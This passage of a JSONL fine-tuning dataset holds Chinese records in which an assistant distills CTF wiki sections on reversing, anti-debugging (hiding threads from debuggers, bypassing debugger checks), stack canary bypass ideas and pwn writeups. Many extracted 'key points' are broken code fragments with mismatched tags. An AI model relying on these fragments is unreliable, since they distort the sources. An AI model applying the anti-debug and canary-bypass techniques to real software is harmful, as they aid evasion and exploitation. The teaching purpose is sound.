**a3)`\n- c: 21 行，首行 `__int64 __fastcall sub_400686(unsigned int *a1, _DWORD *a2)`\n- c: 4 行，首行 `.data:0000000000601060 dword_601060 dd 2 ; DATA XREF: main+FE↑o`\n- c: 20 行，首行 `__int64 __fastcall sub_400770(_DWORD *a1)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 2337, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "逆向分析", "heading_path": ["z3", "例题：GWCTF 2019 - xxor", "逆向分析"], "original_id": "docs-bf07fbd0afade14853b0", "original_line": 1556, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "source_root": "docs", "source_sha256": "a16b4230e7629ee9b7c69cbd84da478d04a8ace633ef9a03df2a895d982a8ad3", "split": "train", "split_group_key": "eeee0b0e6f296c6e7e8405c9", "subcategory": "reverse/tools/constraint", "terms": ["栈", "密码学", "AI安全", "reverse", "tools", "constraint", "z3.md", "code:c"], "title": "z3"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-e98c082d18cfa8f7736b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/zwsetinformationthread.md` 中的章节「关于ZwSetInformationThread」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/zwsetinformationthread.md`\n标题：ZwSetInformationThread\n章节：ZwSetInformationThread > 关于ZwSetInformationThread\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“关于ZwSetInformationThread”展开。\n- } int main() { printf(\"Begin\\n\");\n- ZwSetInformationThread 等同于 NtSetInformationThread，通过为线程设置 ThreadHideFromDebugger，可以禁止线程产生调试事件，代码如下 ``c #include  #include  typedef DWORD(WINAPI* ZW_SET_INFORMATION_THREAD) (HANDLE, DWORD, PVOID, ULONG);\n- #define ThreadHideFromDebugger 0x11 VOID DisableDebugEvent(VOID) { HINSTANCE hModule;\n- ZwSetInformationThread = (ZW_SET_INFORMATION_THREAD)GetProcAddress(hModule, \"ZwSetInformationThread\");\n- ZwSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, 0, 0);\n\n关键术语：\n- AI安全\n- reverse\n- platform\n- windows\n- anti-debug\n- code:c\n\n代码/命令片段线索：\n- c: 19 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 778, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "关于ZwSetInformationThread", "heading_path": ["ZwSetInformationThread", "关于ZwSetInformationThread"], "original_id": "docs-83b1e9be6a9e91fae672", "original_line": 1535, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/zwsetinformationthread.md", "source_root": "docs", "source_sha256": "257847f0a7572ebc1a00b5cdc1a9eb63145e758502640f6a41113d445f11f404", "split": "train", "split_group_key": "750b87ae5907c81cceeddf86", "subcategory": "reverse/platform/windows", "terms": ["AI安全", "reverse", "platform", "windows", "anti-debug", "code:c"], "title": "ZwSetInformationThread"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/zwsetinformationthread.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-ebe2bc179917fcd61367", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/introduction.md`\n标题：AI Agent\n章节：AI Agent > 简介\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- 人工智能代理 （AI agent，又称 智能体 ）是指以 AI 作为决策核心，并通过调用外部工具（如信息检索、代码执行等）来与环境交互，从而达成特定目标的一种软件系统。\n- 尽管 LLM 在形式上仍可被视为一个将 输入文本 映射到 输出文本 的黑箱函数，但当其被嵌入具备状态管理、工具调用与循环控制机制的系统结构中时，其整体行为开始可以具备明显的 目标导向性与决策连续性 ，从而自动化地完成复杂的任务。\n- 因此，在当前主流实现范式中，AI agent 通常以 LLM 作为核心，这也是为什么当我们谈论到 AI Agent 这个词时，我们都会默认携带一个隐含假设便是 AI Agent 是围绕着 LLM 进行构建的，即 LLM 是 AI Agent 事实上的核心——虽然现在这类软件很少有人会将其特别称呼为 LLM Agent。\n- 这一问题直接引出了当前 AI agent 研究与实践中的关键方向，包括但不限于：决策流程设计、工具使用策略、结果验证机制以及人类监督的引入等。\n- 由于 LLM 对于软件开发者而言本质上只是一个接受数据输入并给出数据输出的黑箱函数，因此要想构建一个能够自主决策与行动的 AI Agent，我们必须要将 LLM 的输出规约为机器可理解的格式，从而使得传统软件系统能够理解 LLM 的意图并执行相应的行为，同时我们也需要对 LLM 所能看到的数据范围进行管理——这意味着AI agent 的构建本质上是一个 系统工程问题 ，其核心挑战不在于单一模型性能的极致优化，而在于： - 如何在利用一个能力强大但不完全可靠的推理模块的同时，对其行为进行有效约束与引导。\n\n关键术语：\n- AI安全\n- 漏洞利用\n- ai\n- ai-for-security\n- agent\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 1063, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "简介", "heading_path": ["AI Agent", "简介"], "original_id": "docs-077bc02d470e0ada0fcd", "original_line": 2, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "source_root": "docs", "source_sha256": "10c5f487d7f7a7848399d82c958a68f082b5cd409eb446fb771b97f564a5ce52", "split": "train", "split_group_key": "5f5f6a0f5b2a342d53b8a2f0", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "漏洞利用", "ai", "ai-for-security", "agent", "introduction.md"], "title": "AI Agent"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-ed175716c77131e9b59e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/introduction.md` 中的章节「fclose」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/introduction.md`\n标题：FILE结构\n章节：else > fclose\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- `` int fclose(FILE stream) ` 功能：关闭一个文件流，使用fclose就可以把缓冲区内最后剩余的数据输出到磁盘文件中，并释放文件指针和有关的缓冲区 fclose首先会调用_IO_unlink_it将指定的FILE从_chain链表中脱链 ` if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus ) fp);\n- ` 之后会调用_IO_file_close_it函数，_IO_file_close_it会调用系统接口close关闭文件 ` if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp);\n- ` 最后调用vtable中的_IO_FINISH，其对应的是_IO_file_finish函数，其中会调用free函数释放之前分配的FILE结构 ` _IO_FINISH (fp);\n- fclose是标准IO库中用于关闭已打开文件的函数，其作用与fopen相反。\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 1 行，首行 `int fclose(FILE *stream)`\n- plain: 2 行，首行 `if (fp->_IO_file_flags & _IO_IS_FILEBUF)`\n- plain: 2 行，首行 `if (fp->_IO_file_flags & _IO_IS_FILEBUF)`\n- plain: 1 行，首行 `_IO_FINISH (fp);`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 513, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "fclose", "heading_path": ["else", "fclose"], "original_id": "docs-951edf0a77336a19bb60", "original_line": 1212, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/introduction.md", "source_root": "docs", "source_sha256": "cb6cf56af2c8c526d0304c33b1de80b90361eeb7e677460850bf168879808566", "split": "train", "split_group_key": "3a7140f293f60995aff9a023", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "pwn", "linux", "user-mode", "io-file"], "title": "FILE结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-efb8061c2d19e849bbee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/mode.md` 中的章节「网络环境」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/mode.md`\n标题：CTF 竞赛模式简介\n章节：CTF 竞赛模式简介 > 攻防模式 - Attack & Defense > 网络环境\n路径分类：introduction / introduction/mode.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“网络环境”展开。\n- 文档上一般都会有比赛环境的 网络拓扑图 （如下图），每支队伍会维护若干的 Gamebox（己方服务器） ，Gamebox 上部署有存在漏洞的服务。\n- 选手环境信息包括(选手通常需自行配置或通过 DHCP 自动获取)： - IP 地址。\n- 文件: figure/network.jpg] 在文档当中会包含选手，攻防环境，主办方三者的环境。\n- 攻防环境信息包括： - Gamebox 网络地址，包括己方和其他队伍的地址。\n- 队伍的 id 与对应 ip 的映射表，以便于让选手指定恰当的攻防策略。\n\n关键术语：\n- 漏洞利用\n- mode.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 342, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "网络环境", "heading_path": ["CTF 竞赛模式简介", "攻防模式 - Attack & Defense", "网络环境"], "original_id": "docs-fc2accfcc9c3658016ae", "original_line": 533, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "source_root": "docs", "source_sha256": "9774ac81ffff01cd90bdfd0fb47d6ac1184f2be9bf8f65f821cbc367b8ac02d9", "split": "train", "split_group_key": "f04b043e4768081e4373dda2", "subcategory": "introduction/mode.md", "terms": ["漏洞利用", "mode.md"], "title": "CTF 竞赛模式简介"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-f2c9285f27de67c43388", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/checkremotedebuggerpresent.md` 中的章节「如何绕过」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/checkremotedebuggerpresent.md`\n标题：CheckRemoteDebuggerPresent\n章节：CheckRemoteDebuggerPresent > 如何绕过\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“如何绕过”展开。\n- 比如有如下的代码 `` c++ int main(int argc, char *argv[]) { BOOL isDebuggerPresent = FALSE;\n- if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent )) { if (isDebuggerPresent ) { std::cout << \"Stop debugging program!\n- } ` 我们可以直接修改isDebuggerPresent的值或修改跳转条件来绕过(注意不是CheckRemoteDebuggerPresent的izhi, 它的返回值是用于表示函数是否正确执行). 但如果要针对CheckRemoteDebuggerPresent这个api函数进行修改的话. 首先要知道CheckRemoteDebuggerPresent内部其实是通过调用NtQueryInformationProcess来完成功能的. 而我们就需要对NtQueryInformationProcess`的返回值...\n\n关键术语：\n- AI安全\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 623, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "如何绕过", "heading_path": ["CheckRemoteDebuggerPresent", "如何绕过"], "original_id": "docs-886e9d5e7cc75114fc44", "original_line": 1503, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/checkremotedebuggerpresent.md", "source_root": "docs", "source_sha256": "5b3b4bd48996b82237ce5088b0a21604cfe4bfa4e6a6aa41cc2ec9558fc76753", "split": "train", "split_group_key": "6a932761e6840d857fafe57b", "subcategory": "reverse/platform/windows", "terms": ["AI安全", "reverse", "platform", "windows", "anti-debug"], "title": "CheckRemoteDebuggerPresent"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/checkremotedebuggerpresent.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-f35205f688745fc25d8b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/native_layer/so.md` 中的章节「nativeload」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/native_layer/so.md`\n标题：so 介绍\n章节：so 介绍 > 核心加载流程 > nativeload\n路径分类：android / android/basic_operating_mechanism/native_layer\n分块：1/1\n\n核心知识点：\n- 而 nativeload 函数其实就是一个原生层的函数 ``java // TODO: should be synchronized, but dalvik doesn't support synchronized internal natives. private static native String nativeLoad(String filename, ClassLoader loader, String ldLibraryPath);\n- ` 可以看出在 native 层对应的函数是 Dalvik_java_lang_Runtime_nativeLoad，如下 `C++ / static String nativeLoad(String filename, ClassLoader loader, String ldLibraryPath) Load the specified full path as a dynamic library filled with JNI-compatible methods.\n- \", Dalvik_java_lang_Runtime_nativeLoad }, { \"totalMemory\", \"()J\", Dalvik_java_lang_Runtime_totalMemory }, { NULL, NULL, NULL }, };\n- Returns null on success, or a failure message on failure. / static void Dalvik_java_lang_Runtime_nativeLoad(const u4 args, JValue pResult) { StringObject fileNameObj = (StringObject) args[0];\n- void sym = dlsym(RTLD_DEFAULT, \"android_update_LD_LIBRARY_PATH\");\n- Fn android_update_LD_LIBRARY_PATH = reinterpret_cast(sym);\n\n关键术语：\n- Android逆向\n- AI安全\n- android\n- basic-operating-mechanism\n- native-layer\n- so.md\n- code:java\n- code:c\n- code:c++\n\n代码/命令片段线索：\n- java: 3 行，首行 `// TODO: should be synchronized, but dalvik doesn't support synchronized internal natives.`\n- C: 15 行，首行 `const DalvikNativeMethod dvm_java_lang_Runtime[] = {`\n- C++: 39 行，首行 `/*`\n- c++: 1 行，首行 `bool success = dvmLoadNativeCode(fileName, classLoader, &reason);`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 2425, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "nativeload", "heading_path": ["so 介绍", "核心加载流程", "nativeload"], "original_id": "docs-dbc122e04494ff450f4c", "original_line": 73, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "source_root": "docs", "source_sha256": "177ae3216c4014a84a5b4b0bf3da85057941f6578ea85692932859c1fed69579", "split": "train", "split_group_key": "f72063f46ad2ecdc3ea59755", "subcategory": "android/basic_operating_mechanism/native_layer", "terms": ["Android逆向", "AI安全", "android", "basic-operating-mechanism", "native-layer", "so.md", "code:java", "code:c", "code:c++"], "title": "so 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-f4054cf831f9e05b5430", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/obfuscate/junk-code.md` 中的章节「逆向分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/obfuscate/junk-code.md`\n标题：花指令\n章节：花指令 > 例题：N1CTF2020 - oflo > 逆向分析\n路径分类：reverse / reverse/obfuscate/junk-code.md\n分块：2/3\n\n核心知识点：\n- 本节主题围绕“逆向分析”展开。\n- } // starts at 400B54 ` 现在我们回到 main 的开头，p 一下重新建立函数，之后就可以正常 F5 反编译了，main() 逻辑如下： - 首先调用 sub_4008B9() - 接下来从输入读取 19 字节 - 调用 mprotect() 修改 main & 0xFFFFC000 处权限为 r | w | x，由于权限控制粒度为内存页，因此这里实际上会修改一整张内存页的权限 - 修改 sub_400A69() 开头的 10 个字节 - 调用 sub_400A69() 检查 flag...\n- mprotect((unsigned int)main & 0xFFFFC000, 16LL, 7LL);\n- CODE XREF: .text:0000000000400CB5↑j .text:0000000000400CBD nop .text:0000000000400CBE nop .text:0000000000400CBF nop .text:0000000000400CC0 nop ` 继续向下看，在 0x400D04 又发现一个非常经典的花指令，还是直接将第一个字节 patch 为 nop 即可： `c .text:0000000000400D04 loc_400D04: ;\n- while ( 1 ) { wait4(v4, &v2, 0LL, 0LL);\n- .text:0000000000400D14 nop .text:0000000000400D15 mov rax, [rbp-8] .text:0000000000400D19 xor rax, fs:28h .text:0000000000400D22 jz short locret_400D29 .text:0000000000400D24 call ___stack_chk_fail .text:0000000000400D29 ;\n\n关键术语：\n- 栈\n- AI安全\n- 修复/缓解\n- reverse\n- obfuscate\n- junk-code.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `直接 patch 为 `nop`：`\n- plain: 1 行，首行 `获得一个到 `0x400CCF` 的跳转：`\n- plain: 1 行，首行 `继续向下看，在 `0x400D04` 又发现一个非常经典的花指令，还是直接将第一个字节 patch 为 `nop` 即可：`\n- plain: 1 行，首行 `现在看起来就是一个非常正常的函数末尾了：`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 4906, "chunk_count": 3, "chunk_index": 1, "ctf_score": 18, "ctf_task_type": "ai", "heading": "逆向分析", "heading_path": ["花指令", "例题：N1CTF2020 - oflo", "逆向分析"], "original_id": "docs-0d3c8c43f1350ef14f11", "original_line": 1481, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/junk-code.md", "source_root": "docs", "source_sha256": "c78ad0d3ed80ba8667a696d4a4bc59e259c3d3a4228edc8ff4bb6fc89fb371e4", "split": "train", "split_group_key": "3fb740b307db8534cfb1f449", "subcategory": "reverse/obfuscate/junk-code.md", "terms": ["栈", "AI安全", "修复/缓解", "reverse", "obfuscate", "junk-code.md"], "title": "花指令"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/junk-code.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-fc160bbf5c9564f9b4f6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/mitigation/canary.md` 中的章节「Canary 实现原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/mitigation/canary.md`\n标题：Canary\n章节：Canary > Canary 原理 > Canary 实现原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Canary 实现原理”展开。\n- } ` 这意味可以通过劫持 __stack_chk_fail 的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容(参见 stack smash)。\n- ` 如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。\n- `C static void security_init (void) { // _dl_random的值在进入这个函数的时候就已经由kernel写入. // glibc直接使用了_dl_random的值并没有给赋值 // 如果不采用这种模式, glibc也可以自己产生随机数 //将_dl_random的最后一个字节设置为0x0 uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);\n- 这个操作即为向栈中插入 Canary 值，代码如下： `asm mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax ` 在函数返回之前，会将该值取出，并与 fs:0x28 的值进行异或。\n- `asm mov rdx,QWORD PTR [rbp-0x8] xor rdx,QWORD PTR fs:0x28 je 0x4005d7  call 0x400460 <__stack_chk_fail@plt> ` 如果 Canary 已经被非法修改，此时程序流程会走到 __stack_chk_fail。\n\n关键术语：\n- 边界/溢出\n- 栈\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- mitigation\n- code:asm\n- code:c\n\n代码/命令片段线索：\n- plain: 14 行，首行 `High`\n- asm: 2 行，首行 `mov rax, qword ptr fs:[0x28]`\n- asm: 4 行，首行 `mov rdx,QWORD PTR [rbp-0x8]`\n- C: 12 行，首行 `eglibc-2.19/debug/stack_chk_fail.c`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2119, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "Canary 实现原理", "heading_path": ["Canary", "Canary 原理", "Canary 实现原理"], "original_id": "docs-564457d7e96dbed1b6ef", "original_line": 1216, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/mitigation/canary.md", "source_root": "docs", "source_sha256": "fd483489fe6434a429bc966cdf2ad1ac48dd3cd1339d785938a8eab0c1e2d43f", "split": "train", "split_group_key": "3784d7c86f99c5476de59177", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "AI安全", "修复/缓解", "漏洞利用", "pwn", "linux", "user-mode", "mitigation", "code:asm", "code:c"], "title": "Canary"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/mitigation/canary.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-fedb7b2aba23f4a91033", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「从“模型调用”到“系统行为”」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/introduction.md`\n标题：AI Agent\n章节：AI Agent > 从“模型调用”到“系统行为”\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“从“模型调用”到“系统行为””展开。\n- 本质上，这意味着 AI Agent 并不是某一种具体模型或单一技术，而是一种围绕大语言模型构建的系统设计范式。\n- 其核心特征在于： - 以 LLM 作为通用决策引擎 - 通过工具扩展能力边界 - 借助记忆维持状态连续性 - 在循环中逐步逼近目标 因此，AI Agent 的能力上限不仅取决于模型本身，更取决于系统设计的合理性。\n- 通过上述模块可以看出，AI Agent 与传统 LLM 应用之间的关键差异在于 是否存在显式的状态与循环控制机制 ，例如，一个简单的 LLM 调用通常是： > 输入 → 模型 → 输出 而 AI Agent 则更接近于： > 状态 + 输入 → 决策（LLM） → 行动（Tools） → 环境反馈 → 状态更新 → 循环 在这一过程中，LLM 虽然仍是核心能力来源，但真正决定系统表现的，是各模块之间的协同方式与控制策略。\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 383, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "从“模型调用”到“系统行为”", "heading_path": ["AI Agent", "从“模型调用”到“系统行为”"], "original_id": "docs-5ea5354353a1bda5a48c", "original_line": 8, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "source_root": "docs", "source_sha256": "10c5f487d7f7a7848399d82c958a68f082b5cd409eb446fb771b97f564a5ce52", "split": "train", "split_group_key": "1e0e8f67a47231aa511feb2b", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "introduction.md"], "title": "AI Agent"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-0ae422c50a5bf4def789", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `其它/2024ycb logger` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`其它/2024ycb logger`\n\n## Writeup 蒸馏\n### 题目分析\n\nC++ 中的异常处理机制由`try`、`throw`、`catch`语句组成。\n\n- `try`语句块负责监视异常。\n- `throw`用于发送异常信息，也称为抛出异常。\n- `catch`用于捕获异常并做出相应处理。\n\n基本用法：\n\n```cpp\ntry {                   // 检测异常\n    // 执行可能出错的代码\n    throw 异常类型;      // 抛出异常\n}\ncatch (异常类型1 e) {    // 捕获异常\n    // 处理方式 1\n}\ncatch (异常类型2 e) {    // 捕获另一种异常\n    // 处理方式 2\n}\n// ...\n```\n\n从 C++ 处理异常的语法中可以看到，异常的处理流程为检测异常 → 产生异常 → 抛出异常 → 捕获异常。对于用户而言，编译器隐藏了捕获异常的流程。在运行过程中，异常产生时会自动匹配到对应的处理代码中，而这个过程的代码较为复杂，由编译器产生。异常处理通常是由编译器和操作系统共同完成的，所以不同操作系统环境下的编译器对异常捕获和异常处理的分派过程是不同的。\n\nC++的异常处理`try catch`执行过程\n\n- 执行`try`块中的语句，如果执行的过程中没有异常抛出，那么执行完后就执行最后一个`catch`块后面的语句，所以`catch`块中的语句都不会被执行。\n- 